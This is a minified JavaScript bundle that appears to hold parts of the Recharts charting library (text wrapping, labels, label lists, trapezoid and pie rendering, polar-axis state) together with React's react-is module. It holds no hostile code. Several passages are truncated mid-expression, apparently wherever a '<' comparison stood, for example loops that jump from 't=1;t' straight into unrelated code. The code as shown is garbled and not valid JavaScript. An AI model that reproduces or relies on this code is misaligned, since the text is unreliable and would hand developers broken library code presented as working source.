_t(parseFloat(r),i??"")}constructor(t,n){this.num=t,this.unit=n,this.num=t,this.unit=n,mr(t)&&(this.unit=""),n!==""&&!X9.test(n)&&(this.num=NaN,this.unit=""),e$(n)&&(this.num=t$(t,n),this.unit="px")}add(t){return this.unit!==t.unit?new _t(NaN,""):new _t(this.num+t.num,this.unit)}subtract(t){return this.unit!==t.unit?new _t(NaN,""):new _t(this.num-t.num,this.unit)}multiply(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new _t(NaN,""):new _t(this.num*t.num,this.unit||t.unit)}divide(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new _t(NaN,""):new _t(this.num/t.num,this.unit||t.unit)}toString(){return"".concat(this.num).concat(this.unit)}isNaN(){return mr(this.num)}}nz=_t;G9(_t,"NaN",new nz(NaN,""));function rz(e){if(e==null||e.includes(Ua))return Ua;for(var t=e;t.includes("*")||t.includes("/");){var n,[,r,i,s]=(n=Y2.exec(t))!==null&&n!==void 0?n:[],o=_t.parse(r??""),l=_t.parse(s??""),c=i==="*"?o.multiply(l):o.divide(l);if(c.isNaN())return Ua;t=t.replace(Y2,c.toString())}for(;t.includes("+")||/.-\d+(?:\.\d+)?/.test(t);){var u,[,d,f,p]=(u=q2.exec(t))!==null&&u!==void 0?u:[],h=_t.parse(d??""),x=_t.parse(p??""),g=f==="+"?h.add(x):h.subtract(x);if(g.isNaN())return Ua;t=t.replace(q2,g.toString())}return t}var X2=/\(([^()]*)\)/;function n$(e){for(var t=e,n;(n=X2.exec(t))!=null;){var[,r]=n;t=t.replace(X2,rz(r))}return t}function r$(e){var t=e.replace(/\s+/g,"");return t=n$(t),t=rz(t),t}function i$(e){try{return r$(e)}catch{return Ua}}function Nm(e){var t=i$(e.slice(5,-1));return t===Ua?"":t}var a$=["x","y","lineHeight","capHeight","fill","scaleToFit","textAnchor","verticalAnchor"],s$=["dx","dy","angle","className","breakAll"];function Nh(){return Nh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:t,breakAll:n,style:r}=e;try{var i=[];Mt(t)||(n?i=t.toString().split(""):i=t.toString().split(iz));var s=i.map(l=>({word:l,width:G2(l,r).width})),o=n?0:G2(" ",r).width;return{wordsWithComputedWidth:s,spaceWidth:o}}catch{return null}};function l$(e){return e==="start"||e==="middle"||e==="end"||e==="inherit"}var sz=(e,t,n,r)=>e.reduce((i,s)=>{var{word:o,width:l}=s,c=i[i.length-1];if(c&&l!=null&&(t==null||r||c.width+l+ne.reduce((t,n)=>t.width>n.width?t:n),c$="…",Q2=(e,t,n,r,i,s,o,l)=>{var c=e.slice(0,t),u=az({breakAll:n,style:r,children:c+c$});if(!u)return[!1,[]];var d=sz(u.wordsWithComputedWidth,s,o,l),f=d.length>i||oz(d).width>Number(s);return[f,d]},u$=(e,t,n,r,i)=>{var{maxLines:s,children:o,style:l,breakAll:c}=e,u=ge(s),d=String(o),f=sz(t,r,n,i);if(!u||i)return f;var p=f.length>s||oz(f).width>Number(r);if(!p)return f;for(var h=0,x=d.length-1,g=0,y;h<=x&&g<=d.length-1;){var v=Math.floor((h+x)/2),b=v-1,[w,j]=Q2(d,b,c,l,s,r,n,i),[N]=Q2(d,v,c,l,s,r,n,i);if(!w&&!N&&(h=v+1),w&&N&&(x=v-1),!w&&N){y=j;break}g++}return y||f},J2=e=>{var t=Mt(e)?[]:e.toString().split(iz);return[{words:t,width:void 0}]},d$=e=>{var{width:t,scaleToFit:n,children:r,style:i,breakAll:s,maxLines:o}=e;if((t||n)&&!Gd.isSsr){var l,c,u=az({breakAll:s,children:r,style:i});if(u){var{wordsWithComputedWidth:d,spaceWidth:f}=u;l=d,c=f}else return J2(r);return u$({breakAll:s,children:r,maxLines:o,style:i},l,c,t,!!n)}return J2(r)},lz="#808080",f$={angle:0,breakAll:!1,capHeight:"0.71em",fill:lz,lineHeight:"1em",scaleToFit:!1,textAnchor:"start",verticalAnchor:"end",x:0,y:0},mv=m.forwardRef((e,t)=>{var n=gn(e,f$),{x:r,y:i,lineHeight:s,capHeight:o,fill:l,scaleToFit:c,textAnchor:u,verticalAnchor:d}=n,f=Z2(n,a$),p=m.useMemo(()=>d$({breakAll:f.breakAll,children:f.children,maxLines:f.maxLines,scaleToFit:c,style:f.style,width:f.width}),[f.breakAll,f.children,f.maxLines,c,f.style,f.width]),{dx:h,dy:x,angle:g,className:y,breakAll:v}=f,b=Z2(f,s$);if(!Lr(r)||!Lr(i)||p.length===0)return null;var w=Number(r)+(ge(h)?h:0),j=Number(i)+(ge(x)?x:0);if(!Ee(w)||!Ee(j))return null;var N;switch(d){case"start":N=Nm("calc(".concat(o,")"));break;case"middle":N=Nm("calc(".concat((p.length-1)/2," * -").concat(s," + (").concat(o," / 2))"));break;default:N=Nm("calc(".concat(p.length-1," * -").concat(s,")"));break}var k=[],z=p[0];if(c&&z!=null){var S=z.width,{width:O}=f;k.push("scale(".concat(ge(O)&&ge(S)?O/S:1,")"))}return g&&k.push("rotate(".concat(g,", ").concat(w,", ").concat(j,")")),k.length&&(b.transform=k.join(" ")),m.createElement("text",Nh({},Ut(b),{ref:t,x:w,y:j,className:Qe("recharts-text",y),textAnchor:u,fill:l.includes("url")?lz:l}),p.map((A,T)=>{var P=A.words.join(v?"":" ");return m.createElement("tspan",{x:w,dy:T===0?N:s,key:"".concat(P,"-").concat(T)},P)}))});mv.displayName="Text";function eb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function rr(e){for(var t=1;t{var{viewBox:t,position:n,offset:r=0,parentViewBox:i}=e,{x:s,y:o,height:l,upperWidth:c,lowerWidth:u}=t0(t),d=s,f=s+(c-u)/2,p=(d+f)/2,h=(c+u)/2,x=d+c/2,g=l>=0?1:-1,y=g*r,v=g>0?"end":"start",b=g>0?"start":"end",w=c>=0?1:-1,j=w*r,N=w>0?"end":"start",k=w>0?"start":"end",z=i;if(n==="top"){var S={x:d+c/2,y:o-y,horizontalAnchor:"middle",verticalAnchor:v};return z&&(S.height=Math.max(o-z.y,0),S.width=c),S}if(n==="bottom"){var O={x:f+u/2,y:o+l+y,horizontalAnchor:"middle",verticalAnchor:b};return z&&(O.height=Math.max(z.y+z.height-(o+l),0),O.width=u),O}if(n==="left"){var A={x:p-j,y:o+l/2,horizontalAnchor:N,verticalAnchor:"middle"};return z&&(A.width=Math.max(A.x-z.x,0),A.height=l),A}if(n==="right"){var T={x:p+h+j,y:o+l/2,horizontalAnchor:k,verticalAnchor:"middle"};return z&&(T.width=Math.max(z.x+z.width-T.x,0),T.height=l),T}var P=z?{width:h,height:l}:{};return n==="insideLeft"?rr({x:p+j,y:o+l/2,horizontalAnchor:k,verticalAnchor:"middle"},P):n==="insideRight"?rr({x:p+h-j,y:o+l/2,horizontalAnchor:N,verticalAnchor:"middle"},P):n==="insideTop"?rr({x:d+c/2,y:o+y,horizontalAnchor:"middle",verticalAnchor:b},P):n==="insideBottom"?rr({x:f+u/2,y:o+l-y,horizontalAnchor:"middle",verticalAnchor:v},P):n==="insideTopLeft"?rr({x:d+j,y:o+y,horizontalAnchor:k,verticalAnchor:b},P):n==="insideTopRight"?rr({x:d+c-j,y:o+y,horizontalAnchor:N,verticalAnchor:b},P):n==="insideBottomLeft"?rr({x:f+j,y:o+l-y,horizontalAnchor:k,verticalAnchor:v},P):n==="insideBottomRight"?rr({x:f+u-j,y:o+l-y,horizontalAnchor:N,verticalAnchor:v},P):n&&typeof n=="object"&&(ge(n.x)||da(n.x))&&(ge(n.y)||da(n.y))?rr({x:s+fn(n.x,h),y:o+fn(n.y,l),horizontalAnchor:"end",verticalAnchor:"end"},P):rr({x,y:o+l/2,horizontalAnchor:"middle",verticalAnchor:"middle"},P)},v$=["labelRef"],g$=["content"];function tb(e,t){if(e==null)return{};var n,r,i=y$(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r{var e=m.useContext(N$),t=Ud();return e||(t?t0(t):void 0)},z$=m.createContext(null),S$=()=>{var e=m.useContext(z$),t=je(Y4);return e||t},C$=e=>{var{value:t,formatter:n}=e,r=Mt(e.children)?t:e.children;return typeof n=="function"?n(r):r},P$=e=>e!=null&&typeof e=="function",E$=(e,t)=>{var n=qt(t-e),r=Math.min(Math.abs(t-e),360);return n*r},_$=(e,t,n,r,i)=>{var{offset:s,className:o}=e,{cx:l,cy:c,innerRadius:u,outerRadius:d,startAngle:f,endAngle:p,clockWise:h}=i,x=(u+d)/2,g=E$(f,p),y=g>=0?1:-1,v,b;switch(t){case"insideStart":v=f+y*s,b=h;break;case"insideEnd":v=p-y*s,b=!h;break;case"end":v=p+y*s,b=h;break;default:throw new Error("Unsupported position ".concat(t))}b=g<=0?b:!b;var w=dt(l,c,x,v),j=dt(l,c,x,v+(b?1:-1)*359),N="M".concat(w.x,",").concat(w.y,` + A`).concat(x,",").concat(x,",0,1,").concat(b?0:1,`, + `).concat(j.x,",").concat(j.y),k=Mt(e.id)?$o("recharts-radial-line-"):e.id;return m.createElement("text",Bu({},r,{dominantBaseline:"central",className:Qe("recharts-radial-bar-label",o)}),m.createElement("defs",null,m.createElement("path",{id:k,d:N})),m.createElement("textPath",{xlinkHref:"#".concat(k)},n))},A$=(e,t,n)=>{var{cx:r,cy:i,innerRadius:s,outerRadius:o,startAngle:l,endAngle:c}=e,u=(l+c)/2;if(n==="outside"){var{x:d,y:f}=dt(r,i,o+t,u);return{x:d,y:f,textAnchor:d>=r?"start":"end",verticalAnchor:"middle"}}if(n==="center")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"middle"};if(n==="centerTop")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"start"};if(n==="centerBottom")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"end"};var p=(s+o)/2,{x:h,y:x}=dt(r,i,p,u);return{x:h,y:x,textAnchor:"middle",verticalAnchor:"middle"}},Sc=e=>e!=null&&"cx"in e&&ge(e.cx),O$={angle:0,offset:5,zIndex:Zt.label,position:"middle",textBreakAll:!1};function T$(e){if(!Sc(e))return e;var{cx:t,cy:n,outerRadius:r}=e,i=r*2;return{x:t-r,y:n-r,width:i,upperWidth:i,lowerWidth:i,height:i}}function cz(e){var t=gn(e,O$),{viewBox:n,parentViewBox:r,position:i,value:s,children:o,content:l,className:c="",textBreakAll:u,labelRef:d}=t,f=S$(),p=k$(),h=i==="center"?p:f??p,x,g,y;n==null?x=h:Sc(n)?x=n:x=t0(n);var v=T$(x);if(!x||Mt(s)&&Mt(o)&&!m.isValidElement(l)&&typeof l!="function")return null;var b=nc(nc({},t),{},{viewBox:x});if(m.isValidElement(l)){var{labelRef:w}=b,j=tb(b,v$);return m.cloneElement(l,j)}if(typeof l=="function"){var{content:N}=b,k=tb(b,g$);if(g=m.createElement(l,k),m.isValidElement(g))return g}else g=C$(t);var z=Ut(t);if(Sc(x)){if(i==="insideStart"||i==="insideEnd"||i==="end")return _$(t,i,g,z,x);y=A$(x,t.offset,t.position)}else{if(!v)return null;var S=x$({viewBox:v,position:i,offset:t.offset,parentViewBox:Sc(r)?void 0:r});y=nc(nc({x:S.x,y:S.y,textAnchor:S.horizontalAnchor,verticalAnchor:S.verticalAnchor},S.width!==void 0?{width:S.width}:{}),S.height!==void 0?{height:S.height}:{})}return m.createElement(Mi,{zIndex:t.zIndex},m.createElement(mv,Bu({ref:d,className:Qe("recharts-label",c)},z,y,{textAnchor:l$(z.textAnchor)?z.textAnchor:y.textAnchor,breakAll:u}),g))}cz.displayName="Label";var uz={},dz={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n[n.length-1]}e.last=t})(dz);var fz={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Array.isArray(n)?n:Array.from(n)}e.toArray=t})(fz);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=dz,n=fz,r=zd;function i(s){if(r.isArrayLike(s))return t.last(n.toArray(s))}e.last=i})(uz);var M$=uz.last;const L$=Wr(M$);var I$=["valueAccessor"],D$=["dataKey","clockWise","id","textBreakAll","zIndex"];function Fu(){return Fu=Object.assign?Object.assign.bind():function(e){for(var t=1;tArray.isArray(e.value)?L$(e.value):e.value,mz=m.createContext(void 0),B$=mz.Provider,pz=m.createContext(void 0),F$=pz.Provider;function W$(){return m.useContext(mz)}function U$(){return m.useContext(pz)}function Cc(e){var{valueAccessor:t=$$}=e,n=rb(e,I$),{dataKey:r,clockWise:i,id:s,textBreakAll:o,zIndex:l}=n,c=rb(n,D$),u=W$(),d=U$(),f=u||d;return!f||!f.length?null:m.createElement(Mi,{zIndex:l??Zt.label},m.createElement(tn,{className:"recharts-label-list"},f.map((p,h)=>{var x,g=Mt(r)?t(p,h):Ve(p.payload,r),y=Mt(s)?{}:{id:"".concat(s,"-").concat(h)};return m.createElement(cz,Fu({key:"label-".concat(h)},Ut(p),c,y,{fill:(x=n.fill)!==null&&x!==void 0?x:p.fill,parentViewBox:p.parentViewBox,value:g,textBreakAll:o,viewBox:p.viewBox,index:h,zIndex:0}))})))}Cc.displayName="LabelList";function hz(e){var{label:t}=e;return t?t===!0?m.createElement(Cc,{key:"labelList-implicit"}):m.isValidElement(t)||P$(t)?m.createElement(Cc,{key:"labelList-implicit",content:t}):typeof t=="object"?m.createElement(Cc,Fu({key:"labelList-implicit"},t,{type:String(t.type)})):null:null}function kh(){return kh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{cx:t,cy:n,r,className:i}=e,s=Qe("recharts-dot",i);return ge(t)&&ge(n)&&ge(r)?m.createElement("circle",kh({},Mr(e),Ix(e),{className:s,cx:t,cy:n,r})):null},vz=e=>e.graphicalItems.polarItems,V$=I([Je,vl],R0),pf=I([vz,it,V$],$0),H$=I([pf],B0),hf=I([H$,nf],F0),K$=I([hf,it,pf],U0);I([hf,it,pf],(e,t,n)=>n.length>0?e.flatMap(r=>n.flatMap(i=>{var s,o=Ve(r,(s=t.dataKey)!==null&&s!==void 0?s:i.dataKey);return{value:o,errorDomain:[]}})).filter(Boolean):(t==null?void 0:t.dataKey)!=null?e.map(r=>({value:Ve(r,t.dataKey),errorDomain:[]})):e.map(r=>({value:r,errorDomain:[]})));var ib=()=>{},G$=I([hf,it,pf,cf,Je],G0),Y$=I([it,H0,K0,ib,G$,ib,De,Je],Y0),gz=I([it,De,hf,K$,xl,Je,Y$],q0),q$=I([gz,Ss,Ti],Q0),X$=I([it,gz,q$,Je],ev);I([Ti,X$],X4);var Z$={radiusAxis:{},angleAxis:{}},yz=nn({name:"polarAxis",initialState:Z$,reducers:{addRadiusAxis(e,t){e.radiusAxis[t.payload.id]=t.payload},removeRadiusAxis(e,t){delete e.radiusAxis[t.payload.id]},addAngleAxis(e,t){e.angleAxis[t.payload.id]=t.payload},removeAngleAxis(e,t){delete e.angleAxis[t.payload.id]}}}),{addRadiusAxis:aH,removeRadiusAxis:sH,addAngleAxis:oH,removeAngleAxis:lH}=yz.actions,Q$=yz.reducer;function J$(e){return e&&typeof e=="object"&&"className"in e&&typeof e.className=="string"?e.className:""}function ab(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function sb(e){for(var t=1;tt,pv=I([vz,rB],(e,t)=>e.filter(n=>n.type==="pie").find(n=>n.id===t)),iB=[],hv=(e,t,n)=>(n==null?void 0:n.length)===0?iB:n,bz=I([nf,pv,hv],(e,t,n)=>{var{chartData:r}=e;if(t!=null){var i;if((t==null?void 0:t.data)!=null&&t.data.length>0?i=t.data:i=r,(!i||!i.length)&&n!=null&&(i=n.map(s=>sb(sb({},t.presentationProps),s.props))),i!=null)return i}}),aB=I([bz,pv,hv],(e,t,n)=>{if(!(e==null||t==null))return e.map((r,i)=>{var s,o=Ve(r,t.nameKey,t.name),l;return n!=null&&(s=n[i])!==null&&s!==void 0&&(s=s.props)!==null&&s!==void 0&&s.fill?l=n[i].props.fill:typeof r=="object"&&r!=null&&"fill"in r?l=r.fill:l=t.fill,{value:Rd(o,t.dataKey),color:l,payload:r,type:t.legendType}})}),sB=I([bz,pv,hv,kt],(e,t,n,r)=>{if(!(t==null||e==null))return dF({offset:r,pieSettings:t,displayedData:e,cells:n})}),wz={exports:{}},Re={};/** + * @license React + * react-is.production.js + * + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var xv=Symbol.for("react.transitional.element"),vv=Symbol.for("react.portal"),xf=Symbol.for("react.fragment"),vf=Symbol.for("react.strict_mode"),gf=Symbol.for("react.profiler"),yf=Symbol.for("react.consumer"),bf=Symbol.for("react.context"),wf=Symbol.for("react.forward_ref"),jf=Symbol.for("react.suspense"),Nf=Symbol.for("react.suspense_list"),kf=Symbol.for("react.memo"),zf=Symbol.for("react.lazy"),oB=Symbol.for("react.view_transition"),lB=Symbol.for("react.client.reference");function Ln(e){if(typeof e=="object"&&e!==null){var t=e.$$typeof;switch(t){case xv:switch(e=e.type,e){case xf:case gf:case vf:case jf:case Nf:case oB:return e;default:switch(e=e&&e.$$typeof,e){case bf:case wf:case zf:case kf:return e;case yf:return e;default:return t}}case vv:return t}}}Re.ContextConsumer=yf;Re.ContextProvider=bf;Re.Element=xv;Re.ForwardRef=wf;Re.Fragment=xf;Re.Lazy=zf;Re.Memo=kf;Re.Portal=vv;Re.Profiler=gf;Re.StrictMode=vf;Re.Suspense=jf;Re.SuspenseList=Nf;Re.isContextConsumer=function(e){return Ln(e)===yf};Re.isContextProvider=function(e){return Ln(e)===bf};Re.isElement=function(e){return typeof e=="object"&&e!==null&&e.$$typeof===xv};Re.isForwardRef=function(e){return Ln(e)===wf};Re.isFragment=function(e){return Ln(e)===xf};Re.isLazy=function(e){return Ln(e)===zf};Re.isMemo=function(e){return Ln(e)===kf};Re.isPortal=function(e){return Ln(e)===vv};Re.isProfiler=function(e){return Ln(e)===gf};Re.isStrictMode=function(e){return Ln(e)===vf};Re.isSuspense=function(e){return Ln(e)===jf};Re.isSuspenseList=function(e){return Ln(e)===Nf};Re.isValidElementType=function(e){return typeof e=="string"||typeof e=="function"||e===xf||e===gf||e===vf||e===jf||e===Nf||typeof e=="object"&&e!==null&&(e.$$typeof===zf||e.$$typeof===kf||e.$$typeof===bf||e.$$typeof===yf||e.$$typeof===wf||e.$$typeof===lB||e.getModuleId!==void 0)};Re.typeOf=Ln;wz.exports=Re;var cB=wz.exports,ob=e=>typeof e=="string"?e:e?e.displayName||e.name||"Component":"",lb=null,km=null,jz=e=>{if(e===lb&&Array.isArray(km))return km;var t=[];return m.Children.forEach(e,n=>{Mt(n)||(cB.isFragment(n)?t=t.concat(jz(n.props.children)):t.push(n))}),km=t,lb=e,t};function Nz(e,t){var n=[],r=[];return Array.isArray(t)?r=t.map(i=>ob(i)):r=[ob(t)],jz(e).forEach(i=>{var s=Ro(i,"type.displayName")||Ro(i,"type.name");s&&r.indexOf(s)!==-1&&n.push(i)}),n}var kz=e=>e&&typeof e=="object"&&"clipDot"in e?!!e.clipDot:!0,zz={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){var i;if(typeof n!="object"||n==null)return!1;if(Object.getPrototypeOf(n)===null)return!0;if(Object.prototype.toString.call(n)!=="[object Object]"){const s=n[Symbol.toStringTag];return s==null||!((i=Object.getOwnPropertyDescriptor(n,Symbol.toStringTag))!=null&&i.writable)?!1:n.toString()===`[object ${s}]`}let r=n;for(;Object.getPrototypeOf(r)!==null;)r=Object.getPrototypeOf(r);return Object.getPrototypeOf(n)===r}e.isPlainObject=t})(zz);var uB=zz.isPlainObject;const dB=Wr(uB);var cb,ub,db,fb,mb;function pb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function hb(e){for(var t=1;t{var s=n-r,o;return o=tt(cb||(cb=qs(["M ",",",""])),e,t),o+=tt(ub||(ub=qs(["L ",",",""])),e+n,t),o+=tt(db||(db=qs(["L ",",",""])),e+n-s/2,t+i),o+=tt(fb||(fb=qs(["L ",",",""])),e+n-s/2-r,t+i),o+=tt(mb||(mb=qs(["L ",","," Z"])),e,t),o},hB={x:0,y:0,upperWidth:0,lowerWidth:0,height:0,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},xB=e=>{var t=gn(e,hB),{x:n,y:r,upperWidth:i,lowerWidth:s,height:o,className:l}=t,{animationEasing:c,animationDuration:u,animationBegin:d,isUpdateAnimationActive:f}=t,p=m.useRef(null),[h,x]=m.useState(-1),g=m.useRef(i),y=m.useRef(s),v=m.useRef(o),b=m.useRef(n),w=m.useRef(r),j=qd(e,"trapezoid-");if(m.useEffect(()=>{if(p.current&&p.current.getTotalLength)try{var G=p.current.getTotalLength();G&&x(G)}catch{}},[]),n!==+n||r!==+r||i!==+i||s!==+s||o!==+o||i===0&&s===0||o===0)return null;var N=Qe("recharts-trapezoid",l);if(!f)return m.createElement("g",null,m.createElement("path",Wu({},Ut(t),{className:N,d:xb(n,r,i,s,o)})));var k=g.current,z=y.current,S=v.current,O=b.current,A=w.current,T="0px ".concat(h===-1?1:h,"px"),P="".concat(h,"px 0px"),D=Dk(["strokeDasharray"],u,c);return m.createElement(Yd,{animationId:j,key:j,canBegin:h>0,duration:u,easing:c,isActive:f,begin:d},G=>{var R=At(k,i,G),K=At(z,s,G),_=At(S,o,G),M=At(O,n,G),F=At(A,r,G);p.current&&(g.current=R,y.current=K,v.current=_,b.current=M,w.current=F);var U=G>0?{transition:D,strokeDasharray:P}:{strokeDasharray:T};return m.createElement("path",Wu({},Ut(t),{className:N,d:xb(M,F,R,K,_),ref:p,style:hb(hb({},U),t.style)}))})},vB=["option","shapeType","activeClassName"];function gB(e,t){if(e==null)return{};var n,r,i=yB(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r{var r=ot();return(i,s)=>o=>{e==null||e(i,s,o),r(C3({activeIndex:String(s),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}},PB=e=>{var t=ot();return(n,r)=>i=>{e==null||e(n,r,i),t(TD())}},EB=(e,t,n)=>{var r=ot();return(i,s)=>o=>{e==null||e(i,s,o),r(MD({activeIndex:String(s),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}};function Sz(e){var{tooltipEntrySettings:t}=e,n=ot(),r=Jn(),i=m.useRef(null);return m.useLayoutEffect(()=>{r||(i.current===null?n(ED(t)):i.current!==t&&n(_D({prev:i.current,next:t})),i.current=t)},[t,n,r]),m.useLayoutEffect(()=>()=>{i.current&&(n(AD(i.current)),i.current=null)},[n]),null}function _B(e){var{legendPayload:t}=e,n=ot(),r=Jn(),i=m.useRef(null);return m.useLayoutEffect(()=>{r||(i.current===null?n(Tk(t)):i.current!==t&&n(Mk({prev:i.current,next:t})),i.current=t)},[n,r,t]),m.useLayoutEffect(()=>()=>{i.current&&(n(Lk(i.current)),i.current=null)},[n]),null}function AB(e){var{legendPayload:t}=e,n=ot(),r=je(De),i=m.useRef(null);return m.useLayoutEffect(()=>{r!=="centric"&&r!=="radial"||(i.current===null?n(Tk(t)):i.current!==t&&n(Mk({prev:i.current,next:t})),i.current=t)},[n,r,t]),m.useLayoutEffect(()=>()=>{i.current&&(n(Lk(i.current)),i.current=null)},[n]),null}var zm,OB=()=>{var[e]=m.useState(()=>$o("uid-"));return e},TB=(zm=dw.useId)!==null&&zm!==void 0?zm:OB;function MB(e,t){var n=TB();return t||(e?"".concat(e,"-").concat(n):n)}var LB=m.createContext(void 0),Cz=e=>{var{id:t,type:n,children:r}=e,i=MB("recharts-".concat(n),t);return m.createElement(LB.Provider,{value:i},r(i))},IB={cartesianItems:[],polarItems:[]},Pz=nn({name:"graphicalItems",initialState:IB,reducers:{addCartesianGraphicalItem:{reducer(e,t){e.cartesianItems.push(t.payload)},prepare:He()},replaceCartesianGraphicalItem:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Yn(e).cartesianItems.indexOf(n);i>-1&&(e.cartesianItems[i]=r)},prepare:He()},removeCartesianGraphicalItem:{reducer(e,t){var n=Yn(e).cartesianItems.indexOf(t.payload);n>-1&&e.cartesianItems.splice(n,1)},prepare:He()},addPolarGraphicalItem:{reducer(e,t){e.polarItems.push(t.payload)},prepare:He()},removePolarGraphicalItem:{reducer(e,t){var n=Yn(e).polarItems.indexOf(t.payload);n>-1&&e.polarItems.splice(n,1)},prepare:He()}}}),{addCartesianGraphicalItem:DB,replaceCartesianGraphicalItem:RB,removeCartesianGraphicalItem:$B,addPolarGraphicalItem:BB,removePolarGraphicalItem:FB}=Pz.actions,WB=Pz.reducer,UB=e=>{var t=ot(),n=m.useRef(null);return m.useLayoutEffect(()=>{n.current===null?t(DB(e)):n.current!==e&&t(RB({prev:n.current,next:e})),n.current=e},[t,e]),m.useLayoutEffect(()=>()=>{n.current&&(t($B(n.current)),n.current=null)},[t]),null},VB=m.memo(UB);function HB(e){var t=ot();return m.useLayoutEffect(()=>(t(BB(e)),()=>{t(FB(e))}),[t,e]),null}var KB=["key"],GB=["onMouseEnter","onClick","onMouseLeave"],YB=["id"],qB=["id"];function yb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function rt(e){for(var t=1;tNz(e.children,mf),[e.children]),n=je(r=>aB(r,e.id,t));return n==null?null:m.createElement(AB,{legendPayload:n})}var tF=m.memo(e=>{var{dataKey:t,nameKey:n,sectors:r,stroke:i,strokeWidth:s,fill:o,name:l,hide:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:r.map(p=>p.tooltipPayload),getPosition:p=>{var h;return(h=r[Number(p)])===null||h===void 0?void 0:h.tooltipPosition},settings:{stroke:i,strokeWidth:s,fill:o,dataKey:t,nameKey:n,name:Rd(l,t),hide:c,type:u,color:o,unit:"",graphicalItemId:d}};return m.createElement(Sz,{tooltipEntrySettings:f})}),nF=(e,t)=>e>t?"start":efn(typeof t=="function"?t(e):t,n,n*.8),iF=(e,t,n)=>{var{top:r,left:i,width:s,height:o}=t,l=Wk(s,o),c=i+fn(e.cx,s,s/2),u=r+fn(e.cy,o,o/2),d=fn(e.innerRadius,l,0),f=rF(n,e.outerRadius,l),p=e.maxRadius||Math.sqrt(s*s+o*o)/2;return{cx:c,cy:u,innerRadius:d,outerRadius:f,maxRadius:p}},aF=(e,t)=>{var n=qt(t-e),r=Math.min(Math.abs(t-e),360);return n*r},sF=(e,t)=>{if(m.isValidElement(e))return m.cloneElement(e,t);if(typeof e=="function")return e(t);var n=Qe("recharts-pie-label-line",typeof e!="boolean"?e.className:""),{key:r}=t,i=Sf(t,KB);return m.createElement(Qa,Ci({},i,{type:"linear",className:n}))},oF=(e,t,n)=>{if(m.isValidElement(e))return m.cloneElement(e,t);var r=n;if(typeof e=="function"&&(r=e(t),m.isValidElement(r)))return r;var i=Qe("recharts-pie-label-text",J$(e));return m.createElement(mv,Ci({},t,{alignmentBaseline:"middle",className:i}),r)};function lF(e){var{sectors:t,props:n,showLabels:r}=e,{label:i,labelLine:s,dataKey:o}=n;if(!r||!i||!t)return null;var l=Mr(n),c=Do(i),u=Do(s),d=typeof i=="object"&&"offsetRadius"in i&&typeof i.offsetRadius=="number"&&i.offsetRadius||20,f=t.map((p,h)=>{var x=(p.startAngle+p.endAngle)/2,g=dt(p.cx,p.cy,p.outerRadius+d,x),y=rt(rt(rt(rt({},l),p),{},{stroke:"none"},c),{},{index:h,textAnchor:nF(g.x,p.cx)},g),v=rt(rt(rt(rt({},l),p),{},{fill:"none",stroke:p.fill},u),{},{index:h,points:[dt(p.cx,p.cy,p.outerRadius,x),g],key:"line"});return m.createElement(Mi,{zIndex:Zt.label,key:"label-".concat(p.startAngle,"-").concat(p.endAngle,"-").concat(p.midAngle,"-").concat(h)},m.createElement(tn,null,s&&sF(s,v),oF(i,y,Ve(p,o))))});return m.createElement(tn,{className:"recharts-pie-labels"},f)}function cF(e){var{sectors:t,props:n,showLabels:r}=e,{label:i}=n;return typeof i=="object"&&i!=null&&"position"in i?m.createElement(hz,{label:i}):m.createElement(lF,{sectors:t,props:n,showLabels:r})}function uF(e){var{sectors:t,activeShape:n,inactiveShape:r,allOtherPieProps:i,shape:s,id:o}=e,l=je(ps),c=je(W3),u=je(yR),{onMouseEnter:d,onClick:f,onMouseLeave:p}=i,h=Sf(i,GB),x=CB(d,i.dataKey,o),g=PB(p),y=EB(f,i.dataKey,o);return t==null||t.length===0?null:m.createElement(m.Fragment,null,t.map((v,b)=>{if((v==null?void 0:v.startAngle)===0&&(v==null?void 0:v.endAngle)===0&&t.length!==1)return null;var w=u==null||u===o,j=String(b)===l&&(c==null||i.dataKey===c)&&w,N=l?r:null,k=n&&j?n:N,z=rt(rt({},v),{},{stroke:v.stroke,tabIndex:-1,[vk]:b,[gk]:o});return m.createElement(tn,Ci({key:"sector-".concat(v==null?void 0:v.startAngle,"-").concat(v==null?void 